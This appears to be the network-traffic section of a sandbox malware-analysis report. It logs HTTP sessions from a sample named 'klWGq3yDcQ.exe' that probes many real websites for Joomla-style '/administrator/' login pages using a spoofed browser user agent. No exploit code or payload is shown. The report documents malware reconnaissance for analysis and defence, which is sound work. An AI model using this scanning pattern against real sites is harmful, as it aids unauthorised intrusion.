Nov 26, 2023 06:59:29.152232885 CET	893	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mdystudent.net/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_an3vI8lL1EfJkhht0bLFQ8CU7frXwS4bJ+LSEgUA0FvXEoxIt0Qg3ULBmAtKHjcLMXFjbRmb5R5CTe1onxvkfQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.246;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Nov 26, 2023 06:59:29.552129030 CET	313	OUT	GET /administrator/index.php HTTP/1.1 Host: mdystudent.net Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=10.116.88.246; country=; city="" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.650212049 CET	902	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mdystudent.net/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Tx+TaqqCZLbg5VidflQRjdP1ZnUNTWN/FgruNljasv9FNZ/VcTm7xjTGbADf3GCIK8KbsF3tksoBtWzg+AU77A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.246;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	51767	35.237.190.156	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.055607080 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: krkconcord.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.338794947 CET	450	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=20 Expires: Sun, 26 Nov 2023 06:59:29 GMT Cache-Control: max-age=3600 X-Redirect-By: redirection Location: https://kidsrkids.com/concord/administrator/ X-Powered-By: WP Engine X-Pass-Why: custom-path
Nov 26, 2023 06:59:29.564090967 CET	241	OUT	GET /administrator/index.php HTTP/1.1 Host: krkconcord.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.809233904 CET	459	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=20 Expires: Sun, 26 Nov 2023 06:59:29 GMT Cache-Control: max-age=3600 X-Redirect-By: redirection Location: https://kidsrkids.com/concord/administrator/index.php X-Powered-By: WP Engine X-Pass-Why: custom-path

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	51778	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.057447910 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: rdelealtad.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.156558990 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-165.ec2.internal X-Request-Id: 4df277e5-902c-45ce-8955-cd14e6f7838d Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Nov 26, 2023 06:59:29.157010078 CET	288	OUT	GET /administrator/index.php HTTP/1.1 Host: rdelealtad.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://rdelealtad.com/administrator/
Nov 26, 2023 06:59:29.253317118 CET	418	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-53.ec2.internal X-Request-Id: 8fa00024-2a62-4b72-b0ac-9b7de3b85a6c Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	51887	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.078598976 CET	227	OUT	GET /administrator/ HTTP/1.1 Host: dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.226094961 CET	829	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Length: 0 Connection: keep-alive location: https://www.dstaq.com/en/administrator strict-transport-security: max-age=3600 cache-control: no-cache x-wix-request-id: 1700978369.120103286909615147 Age: 0 X-Seen-By: vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkqHFWhjPEXyPTSLtPMFnp4a0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRaliWaSbW3u7I9QcixekHcy+JhKcozXeSCkSNv+6fxh/ipqV/6c3pJvTuDo3Yope6yBA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,1TnztLIEn9oM+NgebUxhZWunrbwcx7Ajica9WZCxGPE=,znHLAI6vxugFKypFMbJjohE+8x/tk7l8GwSAJmCSTgCYAUFYY3pK7mBx1XtgArCQMbNKQ6oO/j9crZ4+jsEe9A== X-Content-Type-Options: nosniff
Nov 26, 2023 06:59:32.601417065 CET	285	OUT	GET /administrator/index.php HTTP/1.1 Host: dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.dstaq.com/en/administrator
Nov 26, 2023 06:59:32.772175074 CET	839	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Length: 0 Connection: keep-alive location: https://www.dstaq.com/en/administrator/index.php strict-transport-security: max-age=3600 cache-control: no-cache x-wix-request-id: 1700978372.641103286909625147 Age: 0 X-Seen-By: vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkqHFWhjPEXyPTSLtPMFnp4a0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalveHi8sq+ETLoQsgLlInIymrDYiGWBW044EMoSWtXBIZ6+FADXC+YqrdjLt28/RyMw==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,WyqNozw2Xgx3ikDivcwNJxYyidTrj7yKAMUEpWCfPK4=,KWKVLcH06BSVHBU4yeQ12bMSxNw/CTILSKCpF1mrPZQ=,znHLAI6vxugFKypFMbJjog+iPrwMgRA+grqxwY82aOS7ToYUcIEHdkpKKWHX1KtJNY7SLVVQv0TXn1MtuyNR+g== X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	51779	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.078958035 CET	236	OUT	GET /administrator/ HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.188868046 CET	609	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://jamiesonmullin.com/administrator/ Content-Length: 333 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 61 6d 69 65 73 6f 6e 6d 75 6c 6c 69 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6a 61 6d 69 65 73 6f 6e 6d 75 6c 6c 69 6e 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://jamiesonmullin.com/administrator/">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at jamiesonmullin.com Port 80</address></body></html>
Nov 26, 2023 06:59:32.171823025 CET	297	OUT	GET /administrator/index.php HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://jamiesonmullin.com/administrator/
Nov 26, 2023 06:59:32.280998945 CET	627	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://jamiesonmullin.com/administrator/index.php Content-Length: 342 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 61 6d 69 65 73 6f 6e 6d 75 6c 6c 69 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6a 61 6d 69 65 73 6f 6e 6d 75 6c 6c 69 6e 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://jamiesonmullin.com/administrator/index.php">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at jamiesonmullin.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	51889	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.080696106 CET	235	OUT	GET /administrator/ HTTP/1.1 Host: midcapfunding.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.178780079 CET	418	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-67.ec2.internal X-Request-Id: 534af604-dfa1-47fe-b504-c3dc942f463b Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Nov 26, 2023 06:59:29.547977924 CET	294	OUT	GET /administrator/index.php HTTP/1.1 Host: midcapfunding.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://midcapfunding.com/administrator/
Nov 26, 2023 06:59:29.646491051 CET	419	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-244.ec2.internal X-Request-Id: bf90e307-33ae-4a75-860a-6b98e1ef64c7 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	51894	68.168.209.252	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.095092058 CET	227	OUT	GET /administrator/ HTTP/1.1 Host: bvhrs.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.194861889 CET	486	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>
Nov 26, 2023 06:59:29.547121048 CET	278	OUT	GET /administrator/index.php HTTP/1.1 Host: bvhrs.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://bvhrs.com/administrator/
Nov 26, 2023 06:59:29.647335052 CET	486	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	51783	66.81.203.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.112291098 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: townshipnjr.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.267379045 CET	1033	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html Last-Modified: Mon, 20 Feb 2023 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive ETag: W/"63f37d88-574" Content-Encoding: gzip Data Raw: 32 63 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 5d 4f db 30 14 7d 47 e2 3f 5c 32 a1 6e 84 24 65 bc 6c 6d d2 49 b0 c2 34 c1 8a 44 a5 69 d2 5e 9c d8 49 0c 89 9d d9 4e 53 40 fc f7 dd 7c b8 b4 6c 9a 96 97 da c7 f7 e3 f8 dc e3 86 07 9f 17 e7 cb 1f 37 73 c8 4d 59 cc f6 f7 c2 e1 17 20 cc 19 a1 88 00 7e 61 c9 0c 81 24 27 4a 33 13 39 b5 49 bd 0f 8e 3d d3 e6 a1 60 60 1e 2a 16 39 86 ad 4d 90 68 6d 0f a1 ab 7b dc 57 01 88 25 7d d8 6c de 54 44 19 c1 d4 06 e0 a9 22 25 83 27 1b 8d c9 8c 67 b9 99 c0 c9 78 7c 38 7d 81 1b 4e 4d fe 07 5a 12 95 71 31 81 f1 56 64 45 28 e5 22 db 05 63 a9 28 53 bb 98 ac 4d c1 05 db 05 53 29 8c a7 f9 23 c2 af 18 ac 98 32 3c 21 85 47 0a 9e 61 cf 98 68 d6 e6 6f b5 8e 49 72 9f 29 59 0b 3a 01 a3 88 d0 78 5d 26 cc 26 e2 79 7f cf de 28 38 6a 85 81 27 90 58 37 2d 64 33 c9 39 a5 4c 4c e1 f9 28 e8 83 c2 a0 93 d9 6a de cf 03 e9 61 c5 c8 f9 b6 f8 ee 80 40 ed 22 87 ad 2b ae d8 46 ff 61 70 36 90 0b ca d6 c7 90 ca 02 9b 1c 03 29 0a 9b 77 b9 58 5c 5e cd cf 16 4b 3b b9 ff ce 54 32 96 e6 a5 e1 81 e7 c1 45 57 1f 75 87 6b f4 8d b7 24 19 a4 7c cd 34 68 94 0c 61 8f 6b 5d e3 56 0a 28 65 cc d1 3d 94 ad 78 82 88 e7 fd fd 86 dd c4 a3 3e ca eb 36 53 e0 82 1b 8e 23 68 8b b2 e8 c4 1f 4f a1 24 6b 5e d6 e5 36 54 6b a6 ba 3d 89 31 6a 3c b5 17 5e 71 d6 54 52 99 fe be 61 b0 71 7b d8 ce c2 b2 a0 7c 05 9c 46 ce 60 55 67 16 06 08 d9 53 9d 28 5e 99 6d eb df 91 15 e9 51 ab 23 00 95 49 5d e2 9c fc 46 71 c3 de da a1 b7 ef aa fd 46 10 fe b3 0e 14 44 64 35 c9 70 b8 5f b1 fa 6d d7 d3 c1 34 5b c8 c5 b5 56 49 e4 04 81 66 54 22 d5 7b d4 d8 4f 64 19 a4 aa 6c b7 c1 76 70 83 26 90 8d 5f c8 84 18 2e 85 9f 4b 6d 00 6b ec 04 8d 6e ef 99 78 94 ea e4 e3 76 ea 28 68 ab f9 77 fa 53 cc 52 a9 d8 19 2a 35 17 f4 cb f2 fa 2a 3a 3c 3d af 0e 4f e7 cb 9c 6b 97 ca 92 70 e1 e2 aa 62 a2 7d 7f 2e 3a 9f 35 a4 70 a5 72 73 a2 dd de a5 d4 77 6f 0a 86 2f c7 4d d0 a0 24 31 ae c9 99 4d ae 94 5c 71 7c a6 6e c3 4d ee fe 42 bb b4 6c b5 8f 7d 0e df 5f b4 ad 1c 98 bd 52 21 fc 19 f4 52 ce 46 f0 6e 3a 08 84 2f a7 93 6c 18 da f0 9c aa 59 cb 14 67 d3 32 05 5c 0d 4c 61 60 0a 52 01 32 05 cb 14 7a a6 30 30 05 64 6a 93 2d 53 68 99 c2 0b d3 30 a8 ba 9e 61 30 38 0a 4d d6 fe c9 fe 06 fb 78 b3 30 74 05 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ceT]O0}G?\2n$elmI4Di^INS@\|l7sMY ~a$'J39I=``9Mhm{W%}lTD"%'gx\|8}NMZq1VdE("c(SMS)#2<!GahoIr)Y:x]&&y(8j'X7-d39LL(ja@"+Fap6)wX\^K;T2EWuk$\|4hak]V(e=x>6S#hO$k^6Tk=1j<^qTRaq{\|F`UgS(^mQ#I]FqFDd5p_m4[VIfT"{Odlvp&_.Kmknxv(hwSR5*:<=Okpb}.:5prswo/M$1M\q\|nMBl}_R!RFn:/lYg2\La`R2z00dj-Sh0a08Mx0t0
Nov 26, 2023 06:59:29.566603899 CET	290	OUT	GET /administrator/index.php HTTP/1.1 Host: townshipnjr.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://townshipnjr.com/administrator/
